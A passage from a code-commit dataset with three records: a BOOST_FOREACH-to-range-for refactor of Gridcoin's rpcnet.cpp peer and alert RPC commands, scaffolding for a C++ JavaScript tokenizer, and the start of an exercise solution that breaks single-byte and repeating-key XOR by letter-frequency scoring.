\"reqid\";\n pNode->PushMessage(\"neural\", MyNeuralRequest, reqid);\n if (fDebug3) printf(\" PUSH \");\n }\n }\n return \"\";\n}\n\n\nvoid GatherNeuralHashes()\n{\n \/\/ Find a Neural Network Node that is free\n LOCK(cs_vNodes);\n BOOST_FOREACH(CNode* pNode, vNodes) \n {\n if (Contains(pNode->strSubVer,\"1999\"))\n {\n std::string reqid = \"reqid\";\n std::string command_name=\"neural_hash\";\n pNode->PushMessage(\"neural\", command_name, reqid);\n if (fDebug10) printf(\" Pushed \");\n }\n }\n}\n\n\nbool RequestSupermajorityNeuralData()\n{\n LOCK(cs_vNodes);\n double dCurrentPopularity = 0;\n std::string sCurrentNeuralSupermajorityHash = GetCurrentNeuralNetworkSupermajorityHash(dCurrentPopularity);\n std::string reqid = DefaultWalletAddress();\n \n BOOST_FOREACH(CNode* pNode, vNodes) \n {\n if (!pNode->NeuralHash.empty() && !sCurrentNeuralSupermajorityHash.empty() && pNode->NeuralHash == sCurrentNeuralSupermajorityHash)\n {\n std::string command_name=\"neural_data\";\n pNode->PushMessage(\"neural\", command_name, reqid);\n return true;\n }\n }\n return false;\n}\n\nValue addnode(const Array& params, bool fHelp)\n{\n string strCommand;\n if (params.size() == 2)\n strCommand = params[1].get_str();\n if (fHelp || params.size() != 2 ||\n (strCommand != \"onetry\" && strCommand != \"add\" && strCommand != \"remove\"))\n throw runtime_error(\n \"addnode <node> <add|remove|onetry>\\n\"\n \"Attempts add or remove <node> from the addnode list or try a connection to <node> once.\");\n\n string strNode = params[0].get_str();\n\n if (strCommand == \"onetry\")\n {\n CAddress addr;\n ConnectNode(addr, strNode.c_str());\n return Value::null;\n }\n\n LOCK(cs_vAddedNodes);\n vector<string>::iterator it = vAddedNodes.begin();\n for(; it != vAddedNodes.end(); it++)\n if (strNode == *it)\n break;\n\n if (strCommand == \"add\")\n {\n if (it != vAddedNodes.end())\n throw JSONRPCError(-23, \"Error: Node already added\");\n vAddedNodes.push_back(strNode);\n }\n else if(strCommand == \"remove\")\n {\n if (it == vAddedNodes.end())\n throw JSONRPCError(-24, \"Error: Node has not been added.\");\n vAddedNodes.erase(it);\n }\n\n return Value::null;\n}\n\nValue getaddednodeinfo(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() < 1 || params.size() > 2)\n throw runtime_error(\n \"getaddednodeinfo <dns> [node]\\n\"\n \"Returns information about the given added node, or all added nodes\\n\"\n \"(note that onetry addnodes are not listed here)\\n\"\n \"If dns is false, only a list of added nodes will be provided,\\n\"\n \"otherwise connected information will also be available.\");\n\n bool fDns = params[0].get_bool();\n\n list<string> laddedNodes(0);\n if (params.size() == 1)\n {\n LOCK(cs_vAddedNodes);\n BOOST_FOREACH(string& strAddNode, vAddedNodes)\n laddedNodes.push_back(strAddNode);\n }\n else\n {\n string strNode = params[1].get_str();\n LOCK(cs_vAddedNodes);\n BOOST_FOREACH(string& strAddNode, vAddedNodes)\n if (strAddNode == strNode)\n {\n laddedNodes.push_back(strAddNode);\n break;\n }\n if (laddedNodes.size() == 0)\n throw JSONRPCError(-24, \"Error: Node has not been added.\");\n }\n\n if (!fDns)\n {\n Object ret;\n BOOST_FOREACH(string& strAddNode, laddedNodes)\n ret.push_back(Pair(\"addednode\", strAddNode));\n return ret;\n }\n\n Array ret;\n\n list<pair<string, vector<CService> > > laddedAddreses(0);\n BOOST_FOREACH(string& strAddNode, laddedNodes)\n {\n vector<CService> vservNode(0);\n if(Lookup(strAddNode.c_str(), vservNode, GetDefaultPort(), fNameLookup, 0))\n laddedAddreses.push_back(make_pair(strAddNode, vservNode));\n else\n {\n Object obj;\n obj.push_back(Pair(\"addednode\", strAddNode));\n obj.push_back(Pair(\"connected\", false));\n Array addresses;\n obj.push_back(Pair(\"addresses\", addresses));\n }\n }\n\n LOCK(cs_vNodes);\n for (list<pair<string, vector<CService> > >::iterator it = laddedAddreses.begin(); it != laddedAddreses.end(); it++)\n {\n Object obj;\n obj.push_back(Pair(\"addednode\", it->first));\n\n Array addresses;\n bool fConnected = false;\n BOOST_FOREACH(CService& addrNode, it->second)\n {\n bool fFound = false;\n Object node;\n node.push_back(Pair(\"address\", addrNode.ToString()));\n BOOST_FOREACH(CNode* pnode, vNodes)\n if (pnode->addr == addrNode)\n {\n fFound = true;\n fConnected = true;\n node.push_back(Pair(\"connected\", pnode->fInbound ? \"inbound\" : \"outbound\"));\n break;\n }\n if (!fFound)\n node.push_back(Pair(\"connected\", \"false\"));\n addresses.push_back(node);\n }\n obj.push_back(Pair(\"connected\", fConnected));\n obj.push_back(Pair(\"addresses\", addresses));\n ret.push_back(obj);\n }\n\n return ret;\n}\n\n\nbool AsyncNeuralRequest(std::string command_name,std::string cpid,int NodeLimit)\n{\n \/\/ Find a Neural Network Node that is free\n LOCK(cs_vNodes);\n int iContactCount = 0;\n msNeuralResponse=\"\";\n BOOST_FOREACH(CNode* pNode, vNodes) \n {\n if (Contains(pNode->strSubVer,\"1999\"))\n {\n std::string reqid = cpid;\n pNode->PushMessage(\"neural\", command_name, reqid);\n \/\/if (fDebug3) printf(\"Requested command %s \\r\\n\",command_name.c_str());\n iContactCount++;\n if (iContactCount >= NodeLimit) return true;\n }\n }\n if (iContactCount==0) \n {\n printf(\"No neural network nodes online.\");\n return false;\n }\n return true;\n}\n\n\n\nValue ping(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() != 0)\n throw runtime_error(\n \"ping\\n\"\n \"Requests that a ping be sent to all other nodes, to measure ping time.\\n\"\n \"Results provided in getpeerinfo, pingtime and pingwait fields are decimal seconds.\\n\"\n \"Ping command is handled in queue with all other commands, so it measures processing backlog, not just network ping.\");\n\n \/\/ Request that each node send a ping during next message processing pass\n LOCK(cs_vNodes);\n BOOST_FOREACH(CNode* pNode, vNodes) {\n pNode->fPingQueued = true;\n }\n\n return Value::null;\n}\n\nstatic void CopyNodeStats(std::vector<CNodeStats>& vstats)\n{\n vstats.clear();\n\n LOCK(cs_vNodes);\n vstats.reserve(vNodes.size());\n BOOST_FOREACH(CNode* pnode, vNodes) {\n CNodeStats stats;\n pnode->copyStats(stats);\n vstats.push_back(stats);\n }\n}\n\nValue getpeerinfo(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() != 0)\n throw runtime_error(\n \"getpeerinfo\\n\"\n \"Returns data about each connected network node.\");\n\n vector<CNodeStats> vstats;\n CopyNodeStats(vstats);\n\n Array ret;\n GatherNeuralHashes();\n \n BOOST_FOREACH(const CNodeStats& stats, vstats) {\n Object obj;\n\n obj.push_back(Pair(\"addr\", stats.addrName));\n\n if (!(stats.addrLocal.empty()))\n obj.push_back(Pair(\"addrlocal\", stats.addrLocal));\n\n obj.push_back(Pair(\"services\", strprintf(\"%08\" PRIx64, stats.nServices)));\n obj.push_back(Pair(\"lastsend\", stats.nLastSend));\n obj.push_back(Pair(\"lastrecv\", stats.nLastRecv));\n obj.push_back(Pair(\"conntime\", stats.nTimeConnected));\n obj.push_back(Pair(\"pingtime\", stats.dPingTime));\n if (stats.dPingWait > 0.0)\n obj.push_back(Pair(\"pingwait\", stats.dPingWait));\n obj.push_back(Pair(\"version\", stats.nVersion));\n obj.push_back(Pair(\"subver\", stats.strSubVer));\n obj.push_back(Pair(\"inbound\", stats.fInbound));\n obj.push_back(Pair(\"startingheight\", stats.nStartingHeight));\n obj.push_back(Pair(\"nTrust\", stats.nTrust));\n obj.push_back(Pair(\"banscore\", stats.nMisbehavior));\n bool bNeural = false;\n bNeural = Contains(stats.strSubVer, \"1999\");\n obj.push_back(Pair(\"Neural Network\", bNeural));\n if (bNeural)\n {\n obj.push_back(Pair(\"Neural Hash\", stats.NeuralHash));\n obj.push_back(Pair(\"Neural Participant\", IsNeuralNodeParticipant(stats.sGRCAddress, GetAdjustedTime())));\n\n }\n ret.push_back(obj);\n }\n\n return ret;\n}\n\n\n\nValue getnettotals(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() > 0)\n throw runtime_error(\n \"getnettotals\\n\"\n \"Returns information about network traffic, including bytes in, bytes out,\\n\"\n \"and current time.\");\n\n Object obj;\n obj.push_back(Pair(\"totalbytesrecv\", CNode::GetTotalBytesRecv()));\n obj.push_back(Pair(\"totalbytessent\", CNode::GetTotalBytesSent()));\n obj.push_back(Pair(\"timemillis\", GetTimeMillis()));\n return obj;\n}\n\n\n\n\/\/ ppcoin: send alert. \n\/\/ There is a known deadlock situation with ThreadMessageHandler\n\/\/ ThreadMessageHandler: holds cs_vSend and acquiring cs_main in SendMessages()\n\/\/ ThreadRPCServer: holds cs_main and acquiring cs_vSend in alert.RelayTo()\/PushMessage()\/BeginMessage()\nValue sendalert(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() < 6)\n throw runtime_error(\n \"sendalert <message> <privatekey> <minver> <maxver> <priority> <id> [cancelupto]\\n\"\n \"<message> is the alert text message\\n\"\n \"<privatekey> is hex string of alert master private key\\n\"\n \"<minver> is the minimum applicable internal client version\\n\"\n \"<maxver> is the maximum applicable internal client version\\n\"\n \"<priority> is integer priority number\\n\"\n \"<id> is the alert id\\n\"\n \"[cancelupto] cancels all alert id's up to this number\\n\"\n \"Returns true or false.\");\n\n CAlert alert;\n CKey key;\n\n alert.strStatusBar = params[0].get_str();\n alert.nMinVer = params[2].get_int();\n alert.nMaxVer = params[3].get_int();\n alert.nPriority = params[4].get_int();\n alert.nID = params[5].get_int();\n if (params.size() > 6)\n alert.nCancel = params[6].get_int();\n alert.nVersion = PROTOCOL_VERSION;\n alert.nRelayUntil = GetAdjustedTime() + 365*24*60*60;\n alert.nExpiration = GetAdjustedTime() + 365*24*60*60;\n\n CDataStream sMsg(SER_NETWORK, PROTOCOL_VERSION);\n sMsg << (CUnsignedAlert)alert;\n alert.vchMsg = vector<unsigned char>(sMsg.begin(), sMsg.end());\n\n vector<unsigned char> vchPrivKey = ParseHex(params[1].get_str());\n key.SetPrivKey(CPrivKey(vchPrivKey.begin(), vchPrivKey.end())); \/\/ if key is not correct openssl may crash\n if (!key.Sign(Hash(alert.vchMsg.begin(), alert.vchMsg.end()), alert.vchSig))\n throw runtime_error(\n \"Unable to sign alert, check private key?\\n\"); \n if(!alert.ProcessAlert()) \n throw runtime_error(\n \"Failed to process alert.\\n\");\n \/\/ Relay alert\n {\n LOCK(cs_vNodes);\n BOOST_FOREACH(CNode* pnode, vNodes)\n alert.RelayTo(pnode);\n }\n\n Object result;\n result.push_back(Pair(\"strStatusBar\", alert.strStatusBar));\n result.push_back(Pair(\"nVersion\", alert.nVersion));\n result.push_back(Pair(\"nMinVer\", alert.nMinVer));\n result.push_back(Pair(\"nMaxVer\", alert.nMaxVer));\n result.push_back(Pair(\"nPriority\", alert.nPriority));\n result.push_back(Pair(\"nID\", alert.nID));\n if (alert.nCancel > 0)\n result.push_back(Pair(\"nCancel\", alert.nCancel));\n return result;\n}\n<commit_msg>boost_foreach change in rpcnet.cpp<commit_after>\/\/ Copyright (c) 2009-2012 Bitcoin Developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"net.h\"\n#include \"bitcoinrpc.h\"\n#include \"alert.h\"\n#include \"wallet.h\"\n#include \"db.h\"\n#include \"walletdb.h\"\n\nusing namespace json_spirit;\nusing namespace std;\nextern std::string NeuralRequest(std::string MyNeuralRequest);\nextern bool RequestSupermajorityNeuralData();\nstd::string GetCurrentNeuralNetworkSupermajorityHash(double& out_popularity);\nextern void GatherNeuralHashes();\nextern bool AsyncNeuralRequest(std::string command_name,std::string cpid,int NodeLimit);\n\n\nValue getconnectioncount(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() != 0)\n throw runtime_error(\n \"getconnectioncount\\n\"\n \"Returns the number of connections to other nodes.\");\n\n LOCK(cs_vNodes);\n return (int)vNodes.size();\n}\n\n\nstd::string NeuralRequest(std::string MyNeuralRequest)\n{\n \/\/ Find a Neural Network Node that is free\n LOCK(cs_vNodes);\n for (auto const& pNode : vNodes)\n {\n if (Contains(pNode->strSubVer,\"1999\"))\n {\n \/\/printf(\"Node is a neural participant \\r\\n\");\n std::string reqid = \"reqid\";\n pNode->PushMessage(\"neural\", MyNeuralRequest, reqid);\n if (fDebug3) printf(\" PUSH \");\n }\n }\n return \"\";\n}\n\n\nvoid GatherNeuralHashes()\n{\n \/\/ Find a Neural Network Node that is free\n LOCK(cs_vNodes);\n for (auto const& pNode : vNodes)\n {\n if (Contains(pNode->strSubVer,\"1999\"))\n {\n std::string reqid = \"reqid\";\n std::string command_name=\"neural_hash\";\n pNode->PushMessage(\"neural\", command_name, reqid);\n if (fDebug10) printf(\" Pushed \");\n }\n }\n}\n\n\nbool RequestSupermajorityNeuralData()\n{\n LOCK(cs_vNodes);\n double dCurrentPopularity = 0;\n std::string sCurrentNeuralSupermajorityHash = GetCurrentNeuralNetworkSupermajorityHash(dCurrentPopularity);\n std::string reqid = DefaultWalletAddress();\n \n for (auto const& pNode : vNodes)\n {\n if (!pNode->NeuralHash.empty() && !sCurrentNeuralSupermajorityHash.empty() && pNode->NeuralHash == sCurrentNeuralSupermajorityHash)\n {\n std::string command_name=\"neural_data\";\n pNode->PushMessage(\"neural\", command_name, reqid);\n return true;\n }\n }\n return false;\n}\n\nValue addnode(const Array& params, bool fHelp)\n{\n string strCommand;\n if (params.size() == 2)\n strCommand = params[1].get_str();\n if (fHelp || params.size() != 2 ||\n (strCommand != \"onetry\" && strCommand != \"add\" && strCommand != \"remove\"))\n throw runtime_error(\n \"addnode <node> <add|remove|onetry>\\n\"\n \"Attempts add or remove <node> from the addnode list or try a connection to <node> once.\");\n\n string strNode = params[0].get_str();\n\n if (strCommand == \"onetry\")\n {\n CAddress addr;\n ConnectNode(addr, strNode.c_str());\n return Value::null;\n }\n\n LOCK(cs_vAddedNodes);\n vector<string>::iterator it = vAddedNodes.begin();\n for(; it != vAddedNodes.end(); it++)\n if (strNode == *it)\n break;\n\n if (strCommand == \"add\")\n {\n if (it != vAddedNodes.end())\n throw JSONRPCError(-23, \"Error: Node already added\");\n vAddedNodes.push_back(strNode);\n }\n else if(strCommand == \"remove\")\n {\n if (it == vAddedNodes.end())\n throw JSONRPCError(-24, \"Error: Node has not been added.\");\n vAddedNodes.erase(it);\n }\n\n return Value::null;\n}\n\nValue getaddednodeinfo(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() < 1 || params.size() > 2)\n throw runtime_error(\n \"getaddednodeinfo <dns> [node]\\n\"\n \"Returns information about the given added node, or all added nodes\\n\"\n \"(note that onetry addnodes are not listed here)\\n\"\n \"If dns is false, only a list of added nodes will be provided,\\n\"\n \"otherwise connected information will also be available.\");\n\n bool fDns = params[0].get_bool();\n\n list<string> laddedNodes(0);\n if (params.size() == 1)\n {\n LOCK(cs_vAddedNodes);\n for (auto const& strAddNode : vAddedNodes)\n laddedNodes.push_back(strAddNode);\n }\n else\n {\n string strNode = params[1].get_str();\n LOCK(cs_vAddedNodes);\n for (auto const& strAddNode : vAddedNodes)\n if (strAddNode == strNode)\n {\n laddedNodes.push_back(strAddNode);\n break;\n }\n if (laddedNodes.size() == 0)\n throw JSONRPCError(-24, \"Error: Node has not been added.\");\n }\n\n if (!fDns)\n {\n Object ret;\n for (auto const& strAddNode : laddedNodes)\n ret.push_back(Pair(\"addednode\", strAddNode));\n return ret;\n }\n\n Array ret;\n\n list<pair<string, vector<CService> > > laddedAddreses(0);\n for (auto const& strAddNode : laddedNodes)\n {\n vector<CService> vservNode(0);\n if(Lookup(strAddNode.c_str(), vservNode, GetDefaultPort(), fNameLookup, 0))\n laddedAddreses.push_back(make_pair(strAddNode, vservNode));\n else\n {\n Object obj;\n obj.push_back(Pair(\"addednode\", strAddNode));\n obj.push_back(Pair(\"connected\", false));\n Array addresses;\n obj.push_back(Pair(\"addresses\", addresses));\n }\n }\n\n LOCK(cs_vNodes);\n for (list<pair<string, vector<CService> > >::iterator it = laddedAddreses.begin(); it != laddedAddreses.end(); it++)\n {\n Object obj;\n obj.push_back(Pair(\"addednode\", it->first));\n\n Array addresses;\n bool fConnected = false;\n for (auto const& addrNode : it->second)\n {\n bool fFound = false;\n Object node;\n node.push_back(Pair(\"address\", addrNode.ToString()));\n for (auto const& pnode : vNodes)\n if (pnode->addr == addrNode)\n {\n fFound = true;\n fConnected = true;\n node.push_back(Pair(\"connected\", pnode->fInbound ? \"inbound\" : \"outbound\"));\n break;\n }\n if (!fFound)\n node.push_back(Pair(\"connected\", \"false\"));\n addresses.push_back(node);\n }\n obj.push_back(Pair(\"connected\", fConnected));\n obj.push_back(Pair(\"addresses\", addresses));\n ret.push_back(obj);\n }\n\n return ret;\n}\n\n\nbool AsyncNeuralRequest(std::string command_name,std::string cpid,int NodeLimit)\n{\n \/\/ Find a Neural Network Node that is free\n LOCK(cs_vNodes);\n int iContactCount = 0;\n msNeuralResponse=\"\";\n for (auto const& pNode : vNodes)\n {\n if (Contains(pNode->strSubVer,\"1999\"))\n {\n std::string reqid = cpid;\n pNode->PushMessage(\"neural\", command_name, reqid);\n \/\/if (fDebug3) printf(\"Requested command %s \\r\\n\",command_name.c_str());\n iContactCount++;\n if (iContactCount >= NodeLimit) return true;\n }\n }\n if (iContactCount==0) \n {\n printf(\"No neural network nodes online.\");\n return false;\n }\n return true;\n}\n\n\n\nValue ping(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() != 0)\n throw runtime_error(\n \"ping\\n\"\n \"Requests that a ping be sent to all other nodes, to measure ping time.\\n\"\n \"Results provided in getpeerinfo, pingtime and pingwait fields are decimal seconds.\\n\"\n \"Ping command is handled in queue with all other commands, so it measures processing backlog, not just network ping.\");\n\n \/\/ Request that each node send a ping during next message processing pass\n LOCK(cs_vNodes);\n for (auto const& pNode : vNodes) {\n pNode->fPingQueued = true;\n }\n\n return Value::null;\n}\n\nstatic void CopyNodeStats(std::vector<CNodeStats>& vstats)\n{\n vstats.clear();\n\n LOCK(cs_vNodes);\n vstats.reserve(vNodes.size());\n for (auto const& pnode : vNodes) {\n CNodeStats stats;\n pnode->copyStats(stats);\n vstats.push_back(stats);\n }\n}\n\nValue getpeerinfo(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() != 0)\n throw runtime_error(\n \"getpeerinfo\\n\"\n \"Returns data about each connected network node.\");\n\n vector<CNodeStats> vstats;\n CopyNodeStats(vstats);\n\n Array ret;\n GatherNeuralHashes();\n \n for (auto const& stats : vstats) {\n Object obj;\n\n obj.push_back(Pair(\"addr\", stats.addrName));\n\n if (!(stats.addrLocal.empty()))\n obj.push_back(Pair(\"addrlocal\", stats.addrLocal));\n\n obj.push_back(Pair(\"services\", strprintf(\"%08\" PRIx64, stats.nServices)));\n obj.push_back(Pair(\"lastsend\", stats.nLastSend));\n obj.push_back(Pair(\"lastrecv\", stats.nLastRecv));\n obj.push_back(Pair(\"conntime\", stats.nTimeConnected));\n obj.push_back(Pair(\"pingtime\", stats.dPingTime));\n if (stats.dPingWait > 0.0)\n obj.push_back(Pair(\"pingwait\", stats.dPingWait));\n obj.push_back(Pair(\"version\", stats.nVersion));\n obj.push_back(Pair(\"subver\", stats.strSubVer));\n obj.push_back(Pair(\"inbound\", stats.fInbound));\n obj.push_back(Pair(\"startingheight\", stats.nStartingHeight));\n obj.push_back(Pair(\"nTrust\", stats.nTrust));\n obj.push_back(Pair(\"banscore\", stats.nMisbehavior));\n bool bNeural = false;\n bNeural = Contains(stats.strSubVer, \"1999\");\n obj.push_back(Pair(\"Neural Network\", bNeural));\n if (bNeural)\n {\n obj.push_back(Pair(\"Neural Hash\", stats.NeuralHash));\n obj.push_back(Pair(\"Neural Participant\", IsNeuralNodeParticipant(stats.sGRCAddress, GetAdjustedTime())));\n\n }\n ret.push_back(obj);\n }\n\n return ret;\n}\n\n\n\nValue getnettotals(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() > 0)\n throw runtime_error(\n \"getnettotals\\n\"\n \"Returns information about network traffic, including bytes in, bytes out,\\n\"\n \"and current time.\");\n\n Object obj;\n obj.push_back(Pair(\"totalbytesrecv\", CNode::GetTotalBytesRecv()));\n obj.push_back(Pair(\"totalbytessent\", CNode::GetTotalBytesSent()));\n obj.push_back(Pair(\"timemillis\", GetTimeMillis()));\n return obj;\n}\n\n\n\n\/\/ ppcoin: send alert. \n\/\/ There is a known deadlock situation with ThreadMessageHandler\n\/\/ ThreadMessageHandler: holds cs_vSend and acquiring cs_main in SendMessages()\n\/\/ ThreadRPCServer: holds cs_main and acquiring cs_vSend in alert.RelayTo()\/PushMessage()\/BeginMessage()\nValue sendalert(const Array& params, bool fHelp)\n{\n if (fHelp || params.size() < 6)\n throw runtime_error(\n \"sendalert <message> <privatekey> <minver> <maxver> <priority> <id> [cancelupto]\\n\"\n \"<message> is the alert text message\\n\"\n \"<privatekey> is hex string of alert master private key\\n\"\n \"<minver> is the minimum applicable internal client version\\n\"\n \"<maxver> is the maximum applicable internal client version\\n\"\n \"<priority> is integer priority number\\n\"\n \"<id> is the alert id\\n\"\n \"[cancelupto] cancels all alert id's up to this number\\n\"\n \"Returns true or false.\");\n\n CAlert alert;\n CKey key;\n\n alert.strStatusBar = params[0].get_str();\n alert.nMinVer = params[2].get_int();\n alert.nMaxVer = params[3].get_int();\n alert.nPriority = params[4].get_int();\n alert.nID = params[5].get_int();\n if (params.size() > 6)\n alert.nCancel = params[6].get_int();\n alert.nVersion = PROTOCOL_VERSION;\n alert.nRelayUntil = GetAdjustedTime() + 365*24*60*60;\n alert.nExpiration = GetAdjustedTime() + 365*24*60*60;\n\n CDataStream sMsg(SER_NETWORK, PROTOCOL_VERSION);\n sMsg << (CUnsignedAlert)alert;\n alert.vchMsg = vector<unsigned char>(sMsg.begin(), sMsg.end());\n\n vector<unsigned char> vchPrivKey = ParseHex(params[1].get_str());\n key.SetPrivKey(CPrivKey(vchPrivKey.begin(), vchPrivKey.end())); \/\/ if key is not correct openssl may crash\n if (!key.Sign(Hash(alert.vchMsg.begin(), alert.vchMsg.end()), alert.vchSig))\n throw runtime_error(\n \"Unable to sign alert, check private key?\\n\"); \n if(!alert.ProcessAlert()) \n throw runtime_error(\n \"Failed to process alert.\\n\");\n \/\/ Relay alert\n {\n LOCK(cs_vNodes);\n for (auto const& pnode : vNodes)\n alert.RelayTo(pnode);\n }\n\n Object result;\n result.push_back(Pair(\"strStatusBar\", alert.strStatusBar));\n result.push_back(Pair(\"nVersion\", alert.nVersion));\n result.push_back(Pair(\"nMinVer\", alert.nMinVer));\n result.push_back(Pair(\"nMaxVer\", alert.nMaxVer));\n result.push_back(Pair(\"nPriority\", alert.nPriority));\n result.push_back(Pair(\"nID\", alert.nID));\n if (alert.nCancel > 0)\n result.push_back(Pair(\"nCancel\", alert.nCancel));\n return result;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"scanner.hh\"\n#include <cctype>\n\nusing namespace std;\n\n\/*\n Spidermonkey's tokenize function has the following control flow structure:\n\n retry:\n switch (c) {\n case ...:\n goto badchar\n badchar:\n default:\n }\n out:\n error:\n*\/\nboost::optional<boost::variant<Token, Decimal> >\nScanner::getToken() {\n for (;;) {\n Token token;\n \n if (tokStream.eof()) {\n\treturn boost::optional<boost::variant<Token, Decimal> >();\n }\n int c = tokStream.get();\n auto initialKind = FirstCharKind(firstCharKinds[c]);\n \/\/ Cases:\n \/\/ 1. Single character token\n if (initialKind <= OneChar_Max) {\n\treturn boost::optional<boost::variant<Token, Decimal> >(Token());\n }\n \/\/ 2. Whitespace\n if (isspace(tokStream.get())) continue;\n \n \/\/ 3. Identifier\n for (;;) {\n\tc = tokStream.get();\n\t\n }\n \/\/ 4. Decimal \n if (isASCIIDecimal(c)) {\n\twhile (isASCIIDecimal(c)) {\n\t c = tokStream.get();\n\t if (c == '.') {\n\t do {\n\t c = tokStream.get();\n\t } while (isASCIIDecimal(c));\n\t }\n\t if (c == 'e' || c == 'E') {\n\t c = tokStream.get();\n\t if (c == '+' || c == '-') \n\t c = tokStream.get();\n\t if (!isASCIIDecimal(c)) {\n\t std::cerr << \"error: malformed decimal\" << std::endl; \n\t return boost::optional<boost::variant<Token, Decimal> >();\n\t }\n\t do {\n\t c = tokStream.get();\n\t } while (isASCIIDecimal(c));\n\t }\n\t}\n\t\n }\n \/\/ 5. String or Template String\n \/\/ 6. EOL\n \/\/ 7. Hex, octal, binary\n \/\/ 8. Operators\n switch (c) {\n case '.':\n\tc = tokStream.get();\n\tif (isASCIIDecimal(c)) {\n\t return boost::optional<boost::variant<Token, Decimal> >(Decimal(tokStream.tellg()));\n\t}\n\tif (c == '.' && tokStream.get() == '.') {\n\t token.type = TOK_TRIPLEDOT;\n\t return boost::optional<boost::variant<Token, Decimal> >(token);\n\t}\n case '=':\n\tc = tokStream.get();\n\tif (c == '=') {\n\t if (tokStream.get() == '=') token.type = TOK_STRICTEQ;\n\t else token.type = TOK_EQ;\n\t} else if (c == '>') {\n\t token.type = TOK_ARROW;\n\t} else {\n\t token.type = TOK_ASSIGN;\n\t}\n\treturn boost::optional<boost::variant<Token, Decimal> >(token);\n }\n }\n}\n<commit_msg>scaffolding<commit_after>#include \"scanner.hh\"\n#include <cctype>\n\nusing namespace std;\n\n\/*\n Spidermonkey's tokenize function has the following control flow structure:\n\n retry:\n switch (c) {\n case ...:\n goto badchar\n badchar:\n default:\n }\n out:\n error:\n*\/\nboost::optional<boost::variant<Token, Decimal> >\nScanner::getToken() {\n for (;;) {\n Token token;\n \n if (tokStream.eof()) {\n\treturn boost::optional<boost::variant<Token, Decimal> >();\n }\n int c = tokStream.get();\n auto initialKind = FirstCharKind(firstCharKinds[c]);\n \/\/ Cases:\n \/\/ 1. Single character token\n if (initialKind <= OneChar_Max) {\n\treturn boost::optional<boost::variant<Token, Decimal> >(Token());\n }\n \/\/ 2. Whitespace\n if (isspace(tokStream.get())) continue;\n \n \/\/ 3. Identifier\n for (;;) {\n\tc = tokStream.get();\n\t\n }\n \/\/ 4. Decimal \n if (isASCIIDecimal(c)) {\n\twhile (isASCIIDecimal(c)) {\n\t c = tokStream.get();\n\t if (c == '.') {\n\t do {\n\t c = tokStream.get();\n\t } while (isASCIIDecimal(c));\n\t }\n\t if (c == 'e' || c == 'E') {\n\t c = tokStream.get();\n\t if (c == '+' || c == '-') \n\t c = tokStream.get();\n\t if (!isASCIIDecimal(c)) {\n\t std::cerr << \"error: malformed decimal\" << std::endl; \n\t return boost::optional<boost::variant<Token, Decimal> >();\n\t }\n\t do {\n\t c = tokStream.get();\n\t } while (isASCIIDecimal(c));\n\t }\n\t}\n\t\n }\n \/\/ 5. String or Template String\n if (initialKind == String) {\n\t\n }\n \/\/ 6. EOL\n \/\/ 7. Hex, octal, binary\n if (initialKind == BasePrefix) {\n\tc = tokStream.get();\n\tif (c == 'x' || c == 'X') {\n\n\t} else if (c == 'b' || c == 'B') {\n\n\t} else if (c == 'o' || c == 'O') {\n\n\t} else if (isASCIIDecimal(c)) {\n\n\t} else {\n\t}\n }\n \/\/ 8. Operators\n switch (c) {\n case '.':\n\tc = tokStream.get();\n\tif (isASCIIDecimal(c)) {\n\t return boost::optional<boost::variant<Token, Decimal> >(Decimal(tokStream.tellg()));\n\t}\n\tif (c == '.' && tokStream.get() == '.') {\n\t token.type = TOK_TRIPLEDOT;\n\t return boost::optional<boost::variant<Token, Decimal> >(token);\n\t}\n case '=':\n\tc = tokStream.get();\n\tif (c == '=') {\n\t if (tokStream.get() == '=') token.type = TOK_STRICTEQ;\n\t else token.type = TOK_EQ;\n\t} else if (c == '>') {\n\t token.type = TOK_ARROW;\n\t} else {\n\t token.type = TOK_ASSIGN;\n\t}\n\treturn boost::optional<boost::variant<Token, Decimal> >(token);\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <algorithm>\n\n#include \"base\/common.h\"\n#include \"base\/task.h\"\n\nstatic double english_frequencies[26] = {\n 0.08167, 0.01492, 0.02782, 0.04253, 0.12702, 0.02228, 0.02015,\n 0.06094, 0.06966, 0.00153, 0.00772, 0.04025, 0.02406, 0.06749,\n 0.07507, 0.01929, 0.00095, 0.05987, 0.06327, 0.09056, 0.02758,\n 0.00978, 0.02360, 0.00150, 0.01974, 0.00074};\n\ndouble ScoreData(const std::vector<uint8_t>& input) {\n double frequences[256] = {0.0};\n for (uint8_t element : input) {\n frequences[element] += 1;\n }\n for (double& f : frequences) {\n f \/= input.size();\n }\n\n double score = 0.0;\n for (int i = 0; i < 256; ++i) {\n if ('A' <= i && i <= 'Z') {\n score += std::abs(frequences[i] - english_frequencies[i - 'A']);\n } else if ('a' <= i && i <= 'z') {\n score += std::abs(frequences[i] - english_frequencies[i - 'a']);\n } else {\n score += frequences[i];\n }\n }\n return score;\n}\n\nstd::vector<uint8_t> XorWithSingleByte(const std::vector<uint8_t>& input,\n uint8_t xor_byte) {\n std::vector<uint8_t> result(input.size());\n for (size_t i = 0; i < input.size(); ++i) {\n result[i] = input[i] ^ xor_byte;\n }\n\n return result;\n}\n\nuint8_t DetectSingleCharXor(const std::vector<uint8_t>& input) {\n int best_i = -1;\n double best_score = std::numeric_limits<double>::infinity();\n\n \/\/ From the task we know that we are looking for all lowercase letters.\n for (int i = 'a'; i <= 'z'; ++i) {\n double score = ScoreData(XorWithSingleByte(input, i));\n if (score < best_score) {\n best_score = score;\n best_i = i;\n }\n }\n\n return best_i;\n}\n\nstd::vector<uint8_t> RepeatingKeyXor(const std::vector<uint8_t>& input,\n const std::vector<uint8_t>& key) {\n std::vector<uint8_t> result(input.size());\n\n int key_index = 0;\n for (size_t i = 0; i < input.size(); ++i) {\n result[i] = input[i] ^ key[key_index];\n key_index = (key_index + 1) % key.size();\n }\n\n return result;\n}\n\nstd::vector<uint8_t> 